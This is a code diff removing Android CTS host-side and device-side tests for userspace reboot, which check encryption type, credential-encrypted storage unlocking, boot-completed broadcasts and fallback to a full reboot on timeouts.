diff --git a/hostsidetests/userspacereboot/src/com/android/cts/userspacereboot/host/UserspaceRebootHostTest.java b/hostsidetests/userspacereboot/src/com/android/cts/userspacereboot/host/UserspaceRebootHostTest.java
deleted file mode 100755
index 4b903dc..0000000
--- a/hostsidetests/userspacereboot/src/com/android/cts/userspacereboot/host/UserspaceRebootHostTest.java
+++ /dev/null
@@ -1,380 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.userspacereboot.host;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import static org.junit.Assume.assumeFalse;
-import static org.junit.Assume.assumeTrue;
-
-import android.platform.test.annotations.RequiresDevice;
-
-import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
-import com.android.tradefed.util.CommandResult;
-import com.android.tradefed.util.CommandStatus;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.time.Duration;
-
-/**
- * Host side CTS tests verifying userspace reboot functionality.
- */
-@RequiresDevice
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class UserspaceRebootHostTest extends BaseHostJUnit4Test  {
-
-    private static final String USERSPACE_REBOOT_SUPPORTED_PROP =
-            "init.userspace_reboot.is_supported";
-
-    private static final String BASIC_TEST_APP_APK = "BasicUserspaceRebootTestApp.apk";
-    private static final String BASIC_TEST_APP_PACKAGE_NAME =
-            "com.android.cts.userspacereboot.basic";
-
-    private static final String BOOT_COMPLETED_TEST_APP_APK =
-            "BootCompletedUserspaceRebootTestApp.apk";
-    private static final String BOOT_COMPLETED_TEST_APP_PACKAGE_NAME =
-            "com.android.cts.userspacereboot.bootcompleted";
-
-    private void runDeviceTest(String pkgName, String className, String testName) throws Exception {
-        runDeviceTests(pkgName, pkgName + "." + className, testName);
-    }
-
-    private void runDeviceTest(String pkgName, String className, String testName, Duration timeout)
-            throws Exception {
-        runDeviceTests(
-                getDevice(), pkgName, pkgName + "." + className, testName, timeout.toMillis());
-    }
-
-    private void installApk(String apkFileName) throws Exception {
-        CompatibilityBuildHelper helper = new CompatibilityBuildHelper(getBuild());
-        getDevice().installPackage(helper.getTestFile(apkFileName), false, true,
-                getDevice().isAppEnumerationSupported()
-                        ? new String[]{"--force-queryable"}
-                        : new String[]{});
-    }
-
-    /**
-     * Sets up device to run a test case.
-     */
-    @Before
-    public void setUp() throws Exception {
-        getDevice().uninstallPackage(BASIC_TEST_APP_PACKAGE_NAME);
-        getDevice().uninstallPackage(BOOT_COMPLETED_TEST_APP_PACKAGE_NAME);
-    }
-
-    /**
-     * Cleans up device after a test case.
-     */
-    @After
-    public void cleanUp() throws Exception {
-        getDevice().uninstallPackage(BASIC_TEST_APP_PACKAGE_NAME);
-        getDevice().uninstallPackage(BOOT_COMPLETED_TEST_APP_PACKAGE_NAME);
-        getDevice().disableAdbRoot();
-    }
-
-    /**
-     * Asserts that only file-based encrypted devices can support userspace reboot.
-     */
-    @Test
-    public void testOnlyFbeDevicesSupportUserspaceReboot() throws Exception {
-        assumeTrue("Userspace reboot not supported on the device",
-                getDevice().getBooleanProperty(USERSPACE_REBOOT_SUPPORTED_PROP, false));
-        assertThat(getDevice().getProperty("ro.crypto.state")).isEqualTo("encrypted");
-        assertThat(getDevice().getProperty("ro.crypto.type")).isEqualTo("file");
-    }
-
-    /**
-     * Tests that on devices supporting userspace reboot {@code
-     * PowerManager.isRebootingUserspaceSupported()} returns {@code true}.
-     */
-    @Test
-    public void testDeviceSupportsUserspaceReboot() throws Exception {
-        assumeTrue("Userspace reboot not supported on the device",
-                getDevice().getBooleanProperty(USERSPACE_REBOOT_SUPPORTED_PROP, false));
-        installApk(BASIC_TEST_APP_APK);
-        runDeviceTest(BASIC_TEST_APP_PACKAGE_NAME, "BasicUserspaceRebootTest",
-                "testUserspaceRebootIsSupported");
-    }
-
-    /**
-     * Tests that on devices not supporting userspace reboot {@code
-     * PowerManager.isRebootingUserspaceSupported()} returns {@code false}.
-     */
-    @Test
-    public void testDeviceDoesNotSupportUserspaceReboot() throws Exception {
-        assumeFalse("Userspace reboot supported on the device",
-                getDevice().getBooleanProperty(USERSPACE_REBOOT_SUPPORTED_PROP, false));
-        installApk(BASIC_TEST_APP_APK);
-        // Also verify that PowerManager.isRebootingUserspaceSupported will return true
-        runDeviceTest(BASIC_TEST_APP_PACKAGE_NAME, "BasicUserspaceRebootTest",
-                "testUserspaceRebootIsNotSupported");
-    }
-
-    /**
-     * Tests that userspace reboot succeeds and doesn't fall back to full reboot.
-     */
-    @Test
-    public void testUserspaceReboot() throws Exception {
-        assumeTrue("Userspace reboot not supported on the device",
-                getDevice().getBooleanProperty(USERSPACE_REBOOT_SUPPORTED_PROP, false));
-        rebootUserspaceAndWaitForBootComplete();
-        assertUserspaceRebootSucceed();
-    }
-
-    /**
-     * Tests that userspace reboot with fs-checkpointing succeeds and doesn't fall back to full
-     * reboot.
-     */
-    @Test
-    public void testUserspaceRebootWithCheckpoint() throws Exception {
-        assumeTrue("Userspace reboot not supported on the device",
-                getDevice().getBooleanProperty(USERSPACE_REBOOT_SUPPORTED_PROP, false));
-        assumeTrue("Device doesn't support fs checkpointing", isFsCheckpointingSupported());
-        CommandResult result = getDevice().executeShellV2Command("sm start-checkpoint 1");
-        Thread.sleep(500);
-        assertWithMessage("Failed to start checkpoint : %s", result.getStderr()).that(
-                result.getStatus()).isEqualTo(CommandStatus.SUCCESS);
-        rebootUserspaceAndWaitForBootComplete();
-        assertUserspaceRebootSucceed();
-    }
-
-    /**
-     * Tests that CE storage is unlocked after userspace reboot.
-     */
-    @Test
-    public void testUserspaceReboot_verifyCeStorageIsUnlocked() throws Exception {
-        assumeTrue("Userspace reboot not supported on the device",
-                getDevice().getBooleanProperty(USERSPACE_REBOOT_SUPPORTED_PROP, false));
-        try {
-            getDevice().executeShellV2Command("cmd lock_settings set-pin 1543");
-            installApk(BOOT_COMPLETED_TEST_APP_APK);
-            installApk(BASIC_TEST_APP_APK);
-
-            prepareForCeTestCases();
-
-            rebootUserspaceAndWaitForBootComplete();
-            assertUserspaceRebootSucceed();
-
-            // Now it's time to verify our assumptions.
-            runDeviceTest(BOOT_COMPLETED_TEST_APP_PACKAGE_NAME, "BootCompletedUserspaceRebootTest",
-                    "testVerifyCeStorageUnlocked");
-            runDeviceTest(BOOT_COMPLETED_TEST_APP_PACKAGE_NAME, "BootCompletedUserspaceRebootTest",
-                    "testVerifyReceivedLockedBootCompletedBroadcast", Duration.ofMinutes(3));
-            runDeviceTest(BOOT_COMPLETED_TEST_APP_PACKAGE_NAME, "BootCompletedUserspaceRebootTest",
-                    "testVerifyReceivedBootCompletedBroadcast", Duration.ofMinutes(6));
-        } finally {
-            getDevice().executeShellV2Command("cmd lock_settings clear --old 1543");
-            getDevice().executeShellV2Command("reboot");
-        }
-    }
-
-    /**
-     * Tests that CE storage is unlocked after userspace reboot with fs-checkpointing.
-     */
-    @Test
-    public void testUserspaceRebootWithCheckpoint_verifyCeStorageIsUnlocked() throws Exception {
-        assumeTrue("Userspace reboot not supported on the device",
-                getDevice().getBooleanProperty(USERSPACE_REBOOT_SUPPORTED_PROP, false));
-        assumeTrue("Device doesn't support fs checkpointing", isFsCheckpointingSupported());
-        try {
-            CommandResult result = getDevice().executeShellV2Command("sm start-checkpoint 1");
-            Thread.sleep(500);
-            assertWithMessage("Failed to start checkpoint : %s", result.getStderr()).that(
-                    result.getStatus()).isEqualTo(CommandStatus.SUCCESS);
-
-            getDevice().executeShellV2Command("cmd lock_settings set-pin 1543");
-            installApk(BOOT_COMPLETED_TEST_APP_APK);
-            installApk(BASIC_TEST_APP_APK);
-
-            prepareForCeTestCases();
-
-            rebootUserspaceAndWaitForBootComplete();
-            assertUserspaceRebootSucceed();
-            runDeviceTest(BOOT_COMPLETED_TEST_APP_PACKAGE_NAME, "BootCompletedUserspaceRebootTest",
-                    "testVerifyCeStorageUnlocked");
-            runDeviceTest(BOOT_COMPLETED_TEST_APP_PACKAGE_NAME, "BootCompletedUserspaceRebootTest",
-                    "testVerifyReceivedLockedBootCompletedBroadcast", Duration.ofMinutes(3));
-            runDeviceTest(BOOT_COMPLETED_TEST_APP_PACKAGE_NAME, "BootCompletedUserspaceRebootTest",
-                    "testVerifyReceivedBootCompletedBroadcast", Duration.ofMinutes(6));
-        } finally {
-            getDevice().executeShellV2Command("cmd lock_settings clear --old 1543");
-            getDevice().executeShellV2Command("reboot");
-        }
-    }
-
-    private void prepareForCeTestCases() throws Exception {
-        runDeviceTest(BOOT_COMPLETED_TEST_APP_PACKAGE_NAME, "BootCompletedUserspaceRebootTest",
-                "prepareFile");
-        runDeviceTest(BASIC_TEST_APP_PACKAGE_NAME, "BasicUserspaceRebootTest", "prepareFile");
-
-        // In order to test that broadcasts are correctly sent, we need to have a separate app that
-        // is going to be listen for them. Unfortunately, we can't use BOOT_COMPLETED_TEST_APP_APK
-        // because every call to `am instrument` force stops an app. This doesn't play well with
-        // BOOT_COMPLETED broadcast, which is not sent to stopped apps.
-        // Send an intent to our "broadcast listening" test app to kick it out from stopped state.
-        getDevice().executeShellV2Command("am start -a android.intent.action.MAIN"
-                + " --user 0"
-                + " -c android.intent.category.LAUNCHER "
-                + BASIC_TEST_APP_PACKAGE_NAME + "/.LauncherActivity");
-        // Wait enough for PackageManager to persist new state of test app.
-        // I wish there was a better way to synchronize here...
-        Thread.sleep(15000);
-    }
-
-    /**
-     * Asserts that fallback to hard reboot is triggered when a native process fails to stop in a
-     * given timeout.
-     */
-    @Test
-    @RequiresDevice // TODO(b/154709530): Remove dependency on physical device
-    public void testUserspaceRebootFailsKillingProcesses() throws Exception {
-        assumeTrue("Userspace reboot not supported on the device",
-                getDevice().getBooleanProperty(USERSPACE_REBOOT_SUPPORTED_PROP, false));
-        assumeTrue("This test requires root", getDevice().enableAdbRoot());
-        final String sigkillTimeout =
-                getProperty("init.userspace_reboot.sigkill.timeoutmillis", "");
-        final String sigtermTimeout =
-                getProperty("init.userspace_reboot.sigterm.timeoutmillis", "");
-        try {
-            // Explicitly set a very low value to make sure that safety mechanism kicks in.
-            getDevice().setProperty("init.userspace_reboot.sigkill.timeoutmillis", "10");
-            getDevice().setProperty("init.userspace_reboot.sigterm.timeoutmillis", "10");
-            rebootUserspaceAndWaitForBootComplete();
-            assertUserspaceRebootFailed();
-            assertLastBootReasonIs("userspace_failed,shutdown_aborted,sigkill");
-        } finally {
-            getDevice().setProperty("init.userspace_reboot.sigkill.timeoutmillis", sigkillTimeout);
-            getDevice().setProperty("init.userspace_reboot.sigterm.timeoutmillis", sigtermTimeout);
-        }
-    }
-
-    /**
-     * Asserts that fallback to hard reboot is triggered when userspace reboot fails to finish in a
-     * given time.
-     */
-    @Test
-    public void testUserspaceRebootWatchdogTriggers() throws Exception {
-        assumeTrue("Userspace reboot not supported on the device",
-                getDevice().getBooleanProperty(USERSPACE_REBOOT_SUPPORTED_PROP, false));
-        assumeTrue("This test requires root", getDevice().enableAdbRoot());
-        final String defaultValue = getProperty("init.userspace_reboot.watchdog.timeoutmillis", "");
-        try {
-            // Explicitly set a very low value to make sure that safety mechanism kicks in.
-            getDevice().setProperty("init.userspace_reboot.watchdog.timeoutmillis", "1000");
-            rebootUserspaceAndWaitForBootComplete();
-            assertUserspaceRebootFailed();
-            assertLastBootReasonIs("userspace_failed,watchdog_triggered,failed_to_boot");
-        } finally {
-            getDevice().setProperty("init.userspace_reboot.watchdog.timeoutmillis", defaultValue);
-        }
-    }
-
-    // TODO(b/135984674): add test case that forces unmount of f2fs userdata.
-
-    /**
-     * Returns {@code true} if device supports fs-checkpointing.
-     */
-    private boolean isFsCheckpointingSupported() throws Exception {
-        CommandResult result = getDevice().executeShellV2Command("sm supports-checkpoint");
-        assertWithMessage("Failed to check if fs checkpointing is supported : %s",
-                result.getStderr()).that(result.getStatus()).isEqualTo(CommandStatus.SUCCESS);
-        return "true".equals(result.getStdout().trim());
-    }
-
-    /**
-     * Reboots a device and waits for the boot to complete.
-     *
-     * <p>Before rebooting, sets a value of sysprop {@code test.userspace_reboot.requested} to 1.
-     * Querying this property is then used in {@link #assertUserspaceRebootSucceed()} to assert that
-     * userspace reboot succeeded.
-     */
-    private void rebootUserspaceAndWaitForBootComplete() throws Exception {
-        Duration timeout = Duration.ofMillis(getDevice().getIntProperty(
-                "init.userspace_reboot.watchdog.timeoutmillis", 0)).plusMinutes(2);
-        setProperty("test.userspace_reboot.requested", "1");
-        getDevice().rebootUserspaceUntilOnline();
-        assertWithMessage("Device did not boot within %s", timeout).that(
-                getDevice().waitForBootComplete(timeout.toMillis())).isTrue();
-    }
-
-    /**
-     * Asserts that userspace reboot succeeded by querying the value of {@code
-     * test.userspace_reboot.requested} property.
-     */
-    private void assertUserspaceRebootSucceed() throws Exception {
-        // If userspace reboot fails and fallback to hard reboot is triggered then
-        // test.userspace_reboot.requested won't be set.
-        final String bootReason = getProperty("sys.boot.reason.last", "");
-        final boolean result = getDevice().getBooleanProperty("test.userspace_reboot.requested",
-                false);
-        assertWithMessage(
-                "Userspace reboot failed and fallback to full reboot was triggered. Boot reason: "
-                        + "%s", bootReason).that(result).isTrue();
-    }
-
-    /**
-     * Asserts that userspace reboot fails by querying the value of {@code
-     * test.userspace_reboot.requested} property.
-     */
-    private void assertUserspaceRebootFailed() throws Exception {
-        // If userspace reboot fails and fallback to hard reboot is triggered then
-        // test.userspace_reboot.requested won't be set.
-        final boolean result = getDevice().getBooleanProperty("test.userspace_reboot.requested",
-                false);
-        assertWithMessage("Fallback to full reboot wasn't triggered").that(result).isFalse();
-    }
-
-    /**
-     * A wrapper over {@code adb shell setprop name value}.
-     *
-     * This is a temporary workaround until issues with {@code getDevice().setProperty()} API are
-     * resolved.
-     */
-    private void setProperty(String name, String value) throws Exception {
-        final String cmd = String.format("\"setprop %s %s\"", name, value);
-        final CommandResult result = getDevice().executeShellV2Command(cmd);
-        assertWithMessage("Failed to call adb shell %s: %s", cmd, result.getStderr())
-            .that(result.getStatus()).isEqualTo(CommandStatus.SUCCESS);
-    }
-
-    /**
-     * Asserts that normalized value of {@code sys.boot.reason.last} is equal to {@code expected}.
-     */
-    private void assertLastBootReasonIs(final String expected) throws Exception {
-        String reason = getProperty("sys.boot.reason.last", "");
-        if (reason.startsWith("reboot,")) {
-            reason = reason.substring("reboot,".length());
-        }
-        assertThat(reason).isEqualTo(expected);
-    }
-
-    /**
-     * A wrapper over {@code getDevice().getProperty(name)} API that returns {@code defaultValue} if
-     * property with the given {@code name} doesn't exist.
-     */
-    private String getProperty(String name, String defaultValue) throws Exception {
-        String ret = getDevice().getProperty(name);
-        return ret == null ? defaultValue : ret;
-    }
-}
diff --git a/hostsidetests/userspacereboot/testapps/BasicTestApp/Android.bp b/hostsidetests/userspacereboot/testapps/BasicTestApp/Android.bp
deleted file mode 100644
index df1baed..0000000
--- a/hostsidetests/userspacereboot/testapps/BasicTestApp/Android.bp
+++ /dev/null
@@ -1,32 +0,0 @@
-// Copyright (C) 2020 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//     http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-android_test_helper_app {
-    name: "BasicUserspaceRebootTestApp",
-    srcs:  ["src/**/*.java"],
-    manifest : "AndroidManifest.xml",
-    static_libs: [
-        "androidx.test.runner",
-        "androidx.test.core",
-        "testng",
-        "truth-prebuilt",
-    ],
-    min_sdk_version: "29",
-    // TODO(ioffe): change to number when SDK is finalized.
-    sdk_version: "system_current",
-}
diff --git a/hostsidetests/userspacereboot/testapps/BasicTestApp/AndroidManifest.xml b/hostsidetests/userspacereboot/testapps/BasicTestApp/AndroidManifest.xml
deleted file mode 100644
index 348a462..0000000
--- a/hostsidetests/userspacereboot/testapps/BasicTestApp/AndroidManifest.xml
+++ /dev/null
@@ -1,49 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-  ~ Copyright (C) 2020 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
-  -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-     package="com.android.cts.userspacereboot.basic">
-
-    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
-    <application>
-        <activity android:name=".LauncherActivity"
-             android:exported="true">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.LAUNCHER"/>
-            </intent-filter>
-        </activity>
-        <uses-library android:name="android.test.runner"/>
-        <receiver android:name=".BasicUserspaceRebootTest$BootReceiver"
-             android:exported="true"
-             android:directBootAware="true">
-            <intent-filter>
-                <action android:name="android.intent.action.BOOT_COMPLETED"/>
-                <action android:name="android.intent.action.LOCKED_BOOT_COMPLETED"/>
-            </intent-filter>
-        </receiver>
-        <provider android:name=".BasicUserspaceRebootTest$Provider"
-             android:authorities="com.android.cts.userspacereboot.basic"
-             android:exported="true"
-             android:directBootAware="true">
-        </provider>
-    </application>
-
-    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-         android:targetPackage="com.android.cts.userspacereboot.basic"
-         android:label="Basic userspace reboot device side tests"/>
-</manifest>
diff --git a/hostsidetests/userspacereboot/testapps/BasicTestApp/src/com/android/cts/userspacereboot/basic/BasicUserspaceRebootTest.java b/hostsidetests/userspacereboot/testapps/BasicTestApp/src/com/android/cts/userspacereboot/basic/BasicUserspaceRebootTest.java
deleted file mode 100644
index c41f221..0000000
--- a/hostsidetests/userspacereboot/testapps/BasicTestApp/src/com/android/cts/userspacereboot/basic/BasicUserspaceRebootTest.java
+++ /dev/null
@@ -1,163 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.userspacereboot.basic;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.testng.Assert.assertThrows;
-
-import android.content.BroadcastReceiver;
-import android.content.ContentProvider;
-import android.content.ContentValues;
-import android.content.Context;
-import android.content.Intent;
-import android.database.Cursor;
-import android.database.MatrixCursor;
-import android.net.Uri;
-import android.os.PowerManager;
-import android.util.Log;
-
-import androidx.test.platform.app.InstrumentationRegistry;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.JUnit4;
-
-import java.io.File;
-import java.io.IOException;
-import java.io.OutputStreamWriter;
-import java.io.PrintWriter;
-
-/**
- * A test app called from {@link com.android.cts.userspacereboot.host.UserspaceRebootHostTest} to
- * verify basic properties around userspace reboot.
- *
- * <p>Additionally it's used as a test app to receive {@link Intent.ACTION_BOOT_COMPLETED}
- * broadcast. Another test app {@link
- * com.android.cts.userspacereboot.bootcompleted.com.android.cts.userspacereboot.bootcompleted} will
- * query a {@link ContentProvider} exposed by this app in order to verify that broadcast was
- * received.
- *
- * <p>Such separation is required due to the fact, that when {@code adb shell am instrument} is
- * called for an app, it will always force stop that app. This means that if we start an
- * instrumentation test in the same app that listens for {@link Intent.ACTION_BOOT_COMPLETED}
- * broadcast, we might end up not receiving broadcast at all, because {@link
- * Intent.ACTION_BOOT_COMPLETED} is not delivered to stopped apps.
- */
-@RunWith(JUnit4.class)
-public class BasicUserspaceRebootTest {
-
-    private static final String TAG = "UserspaceRebootTest";
-
-    private final Context mContext = InstrumentationRegistry.getInstrumentation().getContext();
-
-    /**
-     * Tests that {@link PowerManager#isRebootingUserspaceSupported()} returns {@code true}.
-     */
-    @Test
-    public void testUserspaceRebootIsSupported() {
-        PowerManager powerManager = (PowerManager) mContext.getSystemService(Context.POWER_SERVICE);
-        assertThat(powerManager.isRebootingUserspaceSupported()).isTrue();
-    }
-
-    /**
-     * Tests that {@link PowerManager#isRebootingUserspaceSupported()} returns {@code false}.
-     */
-    @Test
-    public void testUserspaceRebootIsNotSupported() {
-        PowerManager powerManager = (PowerManager) mContext.getSystemService(Context.POWER_SERVICE);
-        assertThat(powerManager.isRebootingUserspaceSupported()).isFalse();
-        assertThrows(UnsupportedOperationException.class,
-                () -> powerManager.reboot("userspace"));
-    }
-
-    /**
-     * Deletes test file in app data directory if necessary.
-     */
-    @Test
-    public void prepareFile() throws Exception {
-        Context de = mContext.createDeviceProtectedStorageContext();
-        de.deleteFile(Intent.ACTION_BOOT_COMPLETED.toLowerCase());
-    }
-
-    /**
-     * Receiver of {@link Intent.ACTION_LOCKED_BOOT_COMPLETED} and
-     * {@link Intent.ACTION_BOOT_COMPLETED} broadcasts.
-     */
-    public static class BootReceiver extends BroadcastReceiver {
-
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            Log.i(TAG, "Received! " + intent);
-            String fileName = intent.getAction().toLowerCase();
-            try (PrintWriter writer = new PrintWriter(new OutputStreamWriter(
-                    context.createDeviceProtectedStorageContext().openFileOutput(
-                            fileName, Context.MODE_PRIVATE)))) {
-                writer.println(intent.getAction());
-            } catch (IOException e) {
-                Log.w(TAG, "Failed to append to " + fileName, e);
-            }
-        }
-    }
-
-    /**
-     * Returns whenever {@link Intent.ACTION_LOCKED_BOOT_COMPLETED} and
-     * {@link Intent.ACTION_BOOT_COMPLETED} broadcast were received.
-     */
-    public static class Provider extends ContentProvider {
-
-        @Override
-        public boolean onCreate() {
-            return true;
-        }
-
-        @Override
-        public String getType(Uri uri) {
-            return "vnd.android.cursor.item/com.android.cts.userspacereboot.basic.exists";
-        }
-
-        @Override
-        public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
-                String sortOrder) {
-            Context de = getContext().createDeviceProtectedStorageContext();
-            File locked_boot_completed = new File(
-                    de.getFilesDir(), Intent.ACTION_LOCKED_BOOT_COMPLETED.toLowerCase());
-            File boot_completed = new File(
-                    de.getFilesDir(), Intent.ACTION_BOOT_COMPLETED.toLowerCase());
-            MatrixCursor cursor = new MatrixCursor(
-                    new String[]{ "locked_boot_completed", "boot_completed"});
-            cursor.addRow(new Object[] {
-                    locked_boot_completed.exists() ? 1 : 0, boot_completed.exists() ? 1 : 0 });
-            return cursor;
-        }
-
-        @Override
-        public Uri insert(Uri uri, ContentValues values) {
-            throw new UnsupportedOperationException();
-        }
-
-        @Override
-        public int delete(Uri uri, String selection, String[] selectionArgs) {
-            throw new UnsupportedOperationException();
-        }
-
-        @Override
-        public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
-            throw new UnsupportedOperationException();
-        }
-    }
-}
diff --git a/hostsidetests/userspacereboot/testapps/BootCompletedTestApp/Android.bp b/hostsidetests/userspacereboot/testapps/BootCompletedTestApp/Android.bp
deleted file mode 100644
index 90ee4ff..0000000
--- a/hostsidetests/userspacereboot/testapps/BootCompletedTestApp/Android.bp
+++ /dev/null
@@ -1,33 +0,0 @@
-// Copyright (C) 2020 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//     http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-android_test_helper_app {
-    name: "BootCompletedUserspaceRebootTestApp",
-    srcs:  ["src/**/*.java"],
-    manifest : "AndroidManifest.xml",
-    static_libs: [
-        "androidx.test.runner",
-        "androidx.test.core",
-        "compatibility-device-util-axt",
-        "testng",
-        "truth-prebuilt",
-    ],
-    min_sdk_version: "29",
-    sdk_version: "30",
-    target_sdk_version: "29",
-}
diff --git a/hostsidetests/userspacereboot/testapps/BootCompletedTestApp/AndroidManifest.xml b/hostsidetests/userspacereboot/testapps/BootCompletedTestApp/AndroidManifest.xml
deleted file mode 100644
index 03feb43..0000000
--- a/hostsidetests/userspacereboot/testapps/BootCompletedTestApp/AndroidManifest.xml
+++ /dev/null
@@ -1,28 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-  ~ Copyright (C) 2020 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
-  -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="com.android.cts.userspacereboot.bootcompleted" >
-
-    <application>
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="com.android.cts.userspacereboot.bootcompleted"
-                     android:label="Boot Completed userspace reboot device side tests"/>
-</manifest>
diff --git a/hostsidetests/userspacereboot/testapps/BootCompletedTestApp/src/com/android/cts/userspacereboot/bootcompleted/BootCompletedUserspaceRebootTest.java b/hostsidetests/userspacereboot/testapps/BootCompletedTestApp/src/com/android/cts/userspacereboot/bootcompleted/BootCompletedUserspaceRebootTest.java
deleted file mode 100644
index 4a512ce..0000000
--- a/hostsidetests/userspacereboot/testapps/BootCompletedTestApp/src/com/android/cts/userspacereboot/bootcompleted/BootCompletedUserspaceRebootTest.java
+++ /dev/null
@@ -1,125 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.userspacereboot.bootcompleted;
-
-import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.content.Context;
-import android.content.Intent;
-import android.database.Cursor;
-import android.net.Uri;
-import android.os.UserManager;
-import android.util.Log;
-
-import com.android.compatibility.common.util.TestUtils;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.JUnit4;
-
-import java.io.OutputStreamWriter;
-import java.time.Duration;
-import java.util.Scanner;
-
-/**
- * A test app called from {@link com.android.cts.userspacereboot.host.UserspaceRebootHostTest} to
- * verify CE storage related properties of userspace reboot.
- */
-@RunWith(JUnit4.class)
-public class BootCompletedUserspaceRebootTest {
-
-    private static final String TAG = "UserspaceRebootTest";
-
-    private static final String FILE_NAME = "secret.txt";
-    private static final String SECRET_MESSAGE = "wow, much secret";
-
-    private static final Duration LOCKED_BOOT_TIMEOUT = Duration.ofMinutes(3);
-    private static final Duration BOOT_TIMEOUT = Duration.ofMinutes(6);
-
-    private final Context mCeContext = getInstrumentation().getContext();
-    private final Context mDeContext = mCeContext.createDeviceProtectedStorageContext();
-
-    /**
-     * Writes to a file in CE storage of {@link BootCompletedUserspaceRebootTest}.
-     *
-     * <p>Reading content of this file is used by other test cases in this class to verify that CE
-     * storage is unlocked after userspace reboot.
-     */
-    @Test
-    public void prepareFile() throws Exception {
-        try (OutputStreamWriter writer = new OutputStreamWriter(
-                mCeContext.openFileOutput(FILE_NAME, Context.MODE_PRIVATE))) {
-            writer.write(SECRET_MESSAGE);
-        }
-    }
-
-    /**
-     * Tests that CE storage is unlocked by reading content of a file in CE storage.
-     */
-    @Test
-    public void testVerifyCeStorageUnlocked() throws Exception {
-        UserManager um = getInstrumentation().getContext().getSystemService(UserManager.class);
-        assertThat(um.isUserUnlocked()).isTrue();
-        try (Scanner scanner = new Scanner(mCeContext.openFileInput(FILE_NAME))) {
-            final String content = scanner.nextLine();
-            assertThat(content).isEqualTo(SECRET_MESSAGE);
-        }
-    }
-
-    /**
